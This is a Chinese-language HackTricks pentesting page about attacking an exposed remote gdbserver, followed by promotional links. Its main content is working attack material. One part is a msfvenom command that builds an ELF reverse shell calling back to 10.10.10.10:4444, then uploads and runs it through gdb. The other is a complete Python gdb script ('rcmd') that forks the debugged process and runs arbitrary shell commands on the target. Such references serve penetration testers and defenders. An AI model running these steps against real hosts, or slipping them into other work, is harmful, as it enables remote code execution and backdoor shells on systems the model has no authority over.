hacktricks/network-services-pentesting/pentesting-remote-gdbserver.md

# 远程GdbServer渗透测试

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## **基本信息**

**gdbserver**是一个计算机程序，可以远程调试其他程序。它在与要调试的程序相同的系统上运行，允许**GNU调试器从另一个系统连接**；也就是说，只有要调试的可执行文件需要驻留在目标系统（"目标"）上，而源代码和要调试的二进制文件的副本驻留在开发者的本地计算机（"主机"）上。连接可以是TCP或串行线。

你可以让**gdbserver在任何端口监听**，而且目前**nmap无法识别该服务**。

## 攻击

### 上传和执行

你可以使用msfvenom轻松创建一个**elf后门**，上传并执行它：
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell
```
### 执行任意命令

还有一种方法可以通过从[这里](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)获取的Python自定义脚本使调试器执行任意命令。
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls
```
首先**在本地创建此脚本**：

{% code title="remote-cmd.py" %}
```python
#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()
```
{% endcode %}

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[**DragonJAR Security Conference是一场国际网络安全活动**](https://www.dragonjarcon.org/)，将于2023年9月7日至8日在哥伦比亚波哥大举行。这是一个内容丰富的技术活动，展示了最新的西班牙语研究成果，吸引了来自世界各地的黑客和研究人员。\
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* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**

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